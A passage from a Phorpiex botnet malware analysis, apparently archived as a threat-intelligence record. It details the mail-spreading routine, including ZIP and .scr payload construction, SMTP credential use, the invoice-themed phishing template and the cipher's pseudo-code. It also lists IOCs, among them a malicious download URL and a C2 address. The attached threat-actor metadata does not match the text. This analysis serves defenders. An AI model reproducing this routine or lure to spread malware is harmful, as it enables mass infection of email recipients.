close\r\n X-RTFM: Learn about this site at http://bit.ly/icanhazip-faq and don't abuse the service\r\nhttps://bin.re/blog/phorpiex/\r\nPage 20 of 28\n\nX-BECOME-A-RACKER: If you're reading this, apply here: http://rackertalent.com/\r\n Access-Control-Allow-Origin: *\r\n Access-Control-Allow-Methods: GET\r\n 8.45.32.37.\r\nGet the IP address from the response. IF that fails, use “[0.0.0.0]”, otherwise make an address to name\r\ntranslation with getnameinfo , for example 8.45.32.37.example.com\r\n8. Create a random file \u003cTEMP\u003e/\u003c10 random letters\u003e.jpg , e.g.,\r\nC:\\Users\\User\\AppData\\Local\\Temp\\vgagsbbnkw.jpg . This file will receive the executable that will be\r\nspread by mail.\r\n9. Sleep 0 to 30 seconds, determined uniformly at random.\r\n10. Download \u003curl\u003ed.exe to the random file.\r\n11. Create another url \u003curl\u003es.txt . Create another temp file with the same pattern as in Step 8 and download\r\nfrom the url to the new temp path. This file holds SMTP servers along with the credentials.\r\n12. Build a random zip file \u003cTEMP\u003e/\u003cRANDOM_10_LETTERS\u003e.zip , this ZIP file will receive the executable later\r\nsent by mail.\r\n13. Create a random scr filename: DOC\u003cRAND_10_DIGITS\u003e-PDF.scr , e.g., DOC7566358436-PDF.scr . This is the\r\nfilename that the executable inside the ZIP gets.\r\n14. Create a random jpg \u003cTEMP\u003e/\u003cRANDOM_10_LETTERS\u003e.jpg . This file will receive the base64 encoded version\r\nof the ZIP file. Phorpiex needs the base64 encoding for the SMTP MIME transfer.\r\n15. Write the downloaded executable from Step 10 to the ZIP file from Step 12. The ZIP file is built manually,\r\nfield by field. First the header is written:\r\nThe local header signature: PK\\x03\\x04\r\nThe required version: 10\r\nGeneral purpose bit flag: 0 (no compression)\r\nFile last modification time and date: set to the current time and date.\r\nCRC-32: Calculated for the downloaded executable.\r\nCompressed and Uncompressed size: Set to the file size of the downloaded executable (as there is\r\nno compression used, the two are equal).\r\nFile name length (n): Length of the random scr string from Step 13, should always be 0x15\r\nExtra field length (m): Set to zero.\r\nFile name: Filename from Step 13.\r\nThen the downloaded file content is written to the ZIP file. Finally:\r\nThe local header signature: PK\\x03\\x04\r\nThe central directory is written.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 21 of 28\n\nThe end of central directory record is written.\r\nThe following image shows an example. Z stands for the downloaded executable content:\r\n16. The ZIP file from Step 15 is base64 encoded and written to the “jpg”-file from Step 14. The zip file is\r\ndeleted thereafter.\r\n17. The url \u003curl\u003e\u003cr\u003e.txt is built, where \u003curl\u003e is the decrypted url from Step 2, and \u003cr\u003e = rand() % (nr\r\n+ 1), with nr from Step 5. The file is downloaded to a new random JPG file with pattern as in Step 14. This\r\nfile holds the mail recipients.\r\n18. Next, the following steps are repeated 2000 times (unless the task is aborted by an m.off message):\r\nSpawn a mailing thread described in the next Section. Don’t wait for its completion.\r\nSleep between 0 and 100 milliseconds, randomly determined.\r\n19. After the 2000 threads have been spawned, the download file from Step 10 is deleted and the task is\r\nfinished.\r\nTo summarize these are the files used by this task:\r\npath source step description\r\nA %TEMP%/\u003c10_random_letters\u003e.jpg \u003curl\u003ed.exe 8, 10 the (malicious) executable\r\nB %TEMP%/\u003c10_random_letters\u003e.jpg \u003curl\u003es.exe 11\r\nthe list of SMTP servers and\r\ncredentials\r\nC %TEMP%/\u003c10_random_letters\u003e.zip ZIP(B)\r\n12,\r\n15\r\nthe zipped executable\r\nD %TEMP%/\u003c10_random_letters\u003e.jpg BASE64(C)\r\n14,\r\n16\r\nthe base64 encoding of the zip file\r\nE %TEMP%/\u003c10_random_letters\u003e.jpg\r\n\u003curl\u003e\r\n\u003cr\u003e.txt\r\n17 the list of recipients\r\nhttps://bin.re/blog/phorpiex/\r\nPage 22 of 28\n\nMailing Thread\r\nThe mailing routine performs the following steps:\r\n1. A random line from the file from file E (Step 17) is picked. This line contains the mail address of the\r\nrecipient.\r\n2. A random line from the file from file B (Step 11) is picked. The line contains the following information:\r\n \u003cserver\u003e|\u003cusername\u003e|\u003cpassword\u003e|\u003cport\u003e\r\nwhere \u003cserver\u003e and \u003cport\u003e are the hostname and port of a SMTP server respectively; with\r\nauthentication \u003cusername\u003e and \u003cpassword\u003e .\r\n3. The SMTP server is connected to on the provided \u003cport\u003e . If the server response contains ESMTP , then\r\nEHLO verb, else the HELO verb.\r\n4. Phorpiex then tries to resolve the random domain of pattern \u003c4 digits\u003e.com . The malware generates\r\nthose random domains until one resolves to an IP.\r\n5. Phorpiex authenticates with AUTH LOGIN and passing the base64 encoded \u003cusername\u003e and \u003cpassword\u003e .\r\nIf this is successful (response is 334 after AUTH LOGIN and sending the username, and 235 after\r\nsending the password), then the mail in the next Section is sent to the \u003crecipient\u003e .\r\nMail\r\nPhorpiex sends the following mail:\r\nMAIL FROM: \u003c[firstname][2_random_digits]@[domain]\u003e\r\nRCPT TO: \u003c[recv_email]\u003e\r\nDATA\r\nReceived: from [5_random_letters] ([random_ip]) by [domain] with MailEnable ESMTP; [date]\r\nReceived: (qmail [3_random_digits] invoked by uid [3_random_digits]); [date]\r\nFrom: [firstname] [last_name] [send_email]\r\nTo: [recv_email]\r\nSubject: [random_subject][4_random_digits]\r\nDate: [date]\r\nMessage-ID: \u003c[14_random_digits].[4_random_digits].qmail@[6_random_letters]\r\nMime-Version: 1.0\r\nContent-Type: multipart/mixed; boundary= \"[boundary]\"\r\n-- [boundary]\r\nContent-Type: text/plain; charset=US-ASCII\r\nDear Customer\r\nhttps://bin.re/blog/phorpiex/\r\nPage 23 of 28\n\nto see more details about your order please open the attachment\r\nand reply as soon as possible.\r\nThank you,\r\nAWG Customer Service\r\n-- [boundary]\r\nContent-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment; filename= \"DOC[10_random_digits].zip\"\r\n[payload]\r\n-- [boundary]\r\n---\r\n.\r\nwith:\r\n[firstname] : randomly picked name from this list: Adolfo, Adolph, Adrian, Adrian, Adriana, Adrienne,\r\nAgnes, Agustin, Ahmad, Ahmed, Aida, Aileen, Aimee, Aisha, Beulah, Beverley, Beverly, Bianca, Bill, Billie,\r\nBillie, Billy, Blaine, Blair, Blake, Blanca, Blanche, Bob, Bobbi, Bobbie, Bobby, Bonita, Bonnie, Booker,\r\nBoris, Boyd, Brad, Bradford, Bradley, Bradly, Brady, Deann, Deanna, Deanne, Debbie, Debora, Deborah,\r\nDebra, Dee, Dee, Deena, Deidre, Deirdre, Delbert, Delia, Gilda, Gina, Ginger, Gino, Giovanni, Gladys,\r\nGlen, Glenda, Glenn, Glenna, Gloria, Goldie, Gonzalo, Gordon, Hugh, Hugo, Humberto, Hung, Hunter,\r\nIan, Ida, Ignacio, Ila, Ilene, Imelda, Imogene, Ina, Ines, Tania, Tanisha, Tanner, Tanya, Tara, Tasha, Taylor,\r\nTaylor, Ted, Teddy, Terence, Teresa, Teri, Terra\r\n[last_name] : randomly picked name for this list: Bailey, Rivera, Cooper, Richardson, Cox, Howard,\r\nWard, Torres, Peterson, Gray, Ramirez, James, Baker, Gonzalez, Nelson, Carter, Mitchell, Perez, Roberts,\r\nTurner, Phillips, Campbell, Parker, Evans, Edwards, Collins, Stewart, Sanchez, Morris, Rogers, Reed,\r\nCook, Morgan, Bell, Murphy, Jackson, White, Harris, Martin, Thompson, Garcia, Martinez, Robinson,\r\nClark, Rodriguez, Lewis, Lee, Walker, Hall, Allen, Young, Hernandez, King, Wright, Lopez, Hill, Scott,\r\nGreen, Adams, Smith, Johnson, Williams, Jones, Brown, Davis, Miller, Wilson, Moore, Taylor, Anderson,\r\nThomas, Watson, Brooks, Kelly, Sanders, Price, Bennett, Wood, Barnes, Ross, Henderson, Coleman,\r\nJenkins\r\n[domain] : the four-digit .com domain from Step 4 in the previous Section.\r\n[random_ip] : randomly determined IP by picking four integers 1 to 255.\r\n[date] : the current date.\r\n[send_email] : The random email address built in Originating Email Address.\r\n[recv_email] : the mail address from file E.\r\n[random_subject] : one of the following 7 subjects: “Document #”, “Your Document #”, “Order #”,\r\n“Your Order #”, “Invoice #”, “Payment #”, “Payment Invoice #”\r\n[random_boundary] : random mime boundary of format\r\n\u003c6_random_letters\u003e_\u003c8_random_letters\u003e_\u003c4_random_letters\u003e\r\nhttps://bin.re/blog/phorpiex/\r\nPage 24 of 28\n\n[payload] : the base64 encoded zip file D.\r\nFor example:\r\nMAIL FROM: \u003cAdrian32@1234.com\u003e\r\nRCPT TO: \u003cvictim@example.com\u003e\r\nDATA\r\nReceived: from yehdk ([39.212.182.82]) by 1234.com with MailEnable ESMTP; Thu, 18 Feb 2016 03:45:08 -0700 (PDT)\r\nReceived: (qmail 921 invoked by uid 381); Thu, 18 Feb 2016 03:45:08 -0700 (PDT)\r\nFrom: Adrian Cox \u003cAdrian32@1234.com\u003e\r\nTo: \u003cvictim@example.com\u003e\r\nSubject: Invoice #3829\r\nDate: Thu, 18 Feb 2016 03:45:08 -0700 (PDT)\r\nMessage-ID: \u003c82847121234313.9232.qmail@abyuee\r\nMime-Version: 1.0\r\nContent-Type: multipart/mixed; boundary= \"udkeja_ueybmsqw_uoer\"\r\n-- udkeja_ueybmsqw_uoer\r\nContent-Type: text/plain; charset=US-ASCII\r\nDear Customer\r\nto see more details about your order please open the attachment\r\nand reply as soon as possible.\r\nThank you,\r\nAWG Customer Service\r\n-- udkeja_ueybmsqw_uoer\r\nContent-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment; filename= \"DOC8253877622.zip\"\r\nbWFsaWNpb3VzIGNvZGU=\r\n-- udkeja_ueybmsqw_uoer\r\n---\r\n.\r\nAfter sending the mail, Phorpiex exits the SMTP server with QUIT\r\nm.x - Mail Exe without Server List\r\nThe fourth and last task is very similar to m.s\r\nformat\r\nm.x \u003cenc_url\u003e \u003cnr_of_files\u003e |\r\nhttps://bin.re/blog/phorpiex/\r\nPage 25 of 28\n\nnr of parameters\r\n2 |\r\nsubtypes\r\nnone |\r\nexample\r\nm.x |108|99|(...)|106| 302 |\r\ndescription\r\nMail an Executable |\r\ntask id\r\n2 (exclusive) |\r\nThe differences to m.s are the following:\r\nThe task uses ID 2 instead of 3.\r\nStep 11 is skipped, i.e., no file B of SMTP servers is downloaded.\r\nIn lieu of the SMTP server file, Phorpiex uses the following target information:\r\n[server] : the server is set to the domain part of the target email address, e.g., the target mail\r\nvictim@example.com would yield the server example.com .\r\n[username] : (null)\r\n[password] : (null)\r\n[port] : set to 25\r\nThe SMTP authentication is skipped.\r\nRC4 Implementation\r\nAll URLs sent to the client are encrypted with a non-standard RC4 cipher. The ciphertext bytes are sent as integers\r\nseparated and enclosed by the pipe symbol | . For example, the bytes \\x0B\\xAD are transmitted as |11|173| .\r\nThe RC4 implementation differs from the standard in two points:\r\n1. the state vector S only has 40 elements instead of the common 256.\r\n2. the implementation uses the XOR swap algorithm to permutate S, both in key-scheduling and in generating\r\nthe keystream. The XOR swap algorithm, however, only works on distinct values; in RC4 this is not\r\nnecessary the case as i and j can be equal. In those cases, the respective value is zeroed out.\r\nThe implementation in pseudo-code looks like that:\r\nFOR i FROM 0 to 39\r\n S[i] := i\r\nENDFOR\r\nj := 0\r\nFOR i FROM 0 to 39\r\nhttps://bin.re/blog/phorpiex/\r\nPage 26 of 28\n\nj:= (j + S[i] + key[i mod keylength]) mod 40\r\n S[i] ^= S[j]\r\n S[j] ^= S[i]\r\n S[i] ^= S[j]\r\nENDFOR\r\ni := 0\r\nj := 0\r\nFOR c IN ciphertext\r\n i := (i+1) mod 40\r\n j := (j + S[j]) mod 40\r\n S[i] ^= S[j]\r\n S[j] ^= S[i]\r\n S[i] ^= S[j]\r\n K = S[(S[i] + S[j]) mod 40]\r\n OUTPUT c XOR K\r\nENDFOR\r\nThe key to decipher the URLs is hardcoded to trk , with the key length hard-coded to 2; so the actual key is tr.\r\nIOCs\r\nIOC (Example) Type Remarks\r\nw6 mutex\r\nalso the name\r\nof updates\r\n%Temp%\\\u003c10_random_letters\u003e.bat\r\n( C:\\Users\\User\\AppData\\Local\\Temp\\ukelbadejs.bat )\r\ncleanup\r\nBAT file\r\n{%windir%,%userprofile%,%temp%}\\M-50504503224255244048500220524542045\\winsvc.exe ( C:\\Users\\User\\M-50504503224255244048500220524542045\\winsvc.exe )\r\nbinary\r\nlocation\r\n220.181.87.80:5050 IRC server\r\nthe only IRC\r\nused by the\r\nsample\r\nhttp://sideworkcreative.com/go.exe (hacked site)(hacked site)(hacked\r\nsite)(hacked site)(hacked site)(hacked site)(hacked site)(hacked site)\r\n(hacked site)\r\ndownload\r\nURL\r\nobserved URL\r\nto download\r\nadditional\r\nbinaries\r\nNote: I removed the Disqus integration in an effort to cut down on bloat. The following comments were retrieved\r\nwith the export functionality of Disqus. If you have comments, please reach out to me by Twitter or email.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 27 of 28\n\nSource: https://bin.re/blog/phorpiex/\r\nhttps://bin.re/blog/phorpiex/\r\nPage 28 of 28",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://bin.re/blog/phorpiex/"
	],
	"report_names": [
		"phorpiex"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f8dddd06-da24-4184-9e24-4c22bdd1cbbf",
			"created_at": "2023-01-06T13:46:38.626906Z",
			"updated_at": "2026-04-10T02:00:03.043681Z",
			"deleted_at": null,
			"main_name": "Tick",
			"aliases": [
				"G0060",
				"Stalker Taurus",
				"PLA Unit 61419",
				"Swirl Typhoon",
				"Nian",
				"BRONZE BUTLER",
				"REDBALDKNIGHT",
				"STALKER PANDA"
			],
			"source_name": "MISPGALAXY:Tick",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "54e55585-1025-49d2-9de8-90fc7a631f45",
			"created_at": "2025-08-07T02:03:24.563488Z",
			"updated_at": "2026-04-10T02:00:03.715427Z",
			"deleted_at": null,
			"main_name": "BRONZE BUTLER",
			"aliases": [
				"CTG-2006 ",
				"Daserf",
				"Stalker Panda ",
				"Swirl Typhoon ",
				"Tick "
			],
			"source_name": "Secureworks:BRONZE BUTLER",
			"tools": [
				"ABK",
				"BBK",
				"Casper",
				"DGet",
				"Daserf",
				"Datper",
				"Ghostdown",
				"Gofarer",
				"MSGet",
				"Mimikatz",
				"Netboy",
				"RarStar",
				"Screen Capture Tool",
				"ShadowPad",
				"ShadowPy",
				"T-SMB",
				"down_new",
				"gsecdump"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "d4e7cd9a-2290-4f89-a645-85b9a46d004b",
			"created_at": "2022-10-25T16:07:23.419513Z",
			"updated_at": "2026-04-10T02:00:04.591062Z",
			"deleted_at": null,
			"main_name": "Bronze Butler",
			"aliases": [
				"Bronze Butler",
				"CTG-2006",
				"G0060",
				"Operation ENDTRADE",
				"RedBaldNight",
				"Stalker Panda",
				"Stalker Taurus",
				"Swirl Typhoon",
				"TEMP.Tick",
				"Tick"
			],
			"source_name": "ETDA:Bronze Butler",
			"tools": [
				"8.t Dropper",
				"8.t RTF exploit builder",
				"8t_dropper",
				"9002 RAT",
				"AngryRebel",
				"Blogspot",
				"Daserf",
				"Datper",
				"Elirks",
				"Farfli",
				"Gh0st RAT",
				"Ghost RAT",
				"HOMEUNIX",
				"HidraQ",
				"HomamDownloader",
				"Homux",
				"Hydraq",
				"Lilith",
				"Lilith RAT",
				"McRAT",
				"MdmBot",
				"Mimikatz",
				"Minzen",
				"Moudour",
				"Muirim",
				"Mydoor",
				"Nioupale",
				"PCRat",
				"POISONPLUG.SHADOW",
				"Roarur",
				"RoyalRoad",
				"ShadowPad Winnti",
				"ShadowWali",
				"ShadowWalker",
				"SymonLoader",
				"WCE",
				"Wali",
				"Windows Credential Editor",
				"Windows Credentials Editor",
				"XShellGhost",
				"XXMM",
				"gsecdump",
				"rarstar"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434513,
	"ts_updated_at": 1775792173,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/26ced156333bc5b7256df387cc07642ac09b76ad.pdf",
		"text": "https://archive.orkl.eu/26ced156333bc5b7256df387cc07642ac09b76ad.txt",
		"img": "https://archive.orkl.eu/26ced156333bc5b7256df387cc07642ac09b76ad.jpg"
	}
}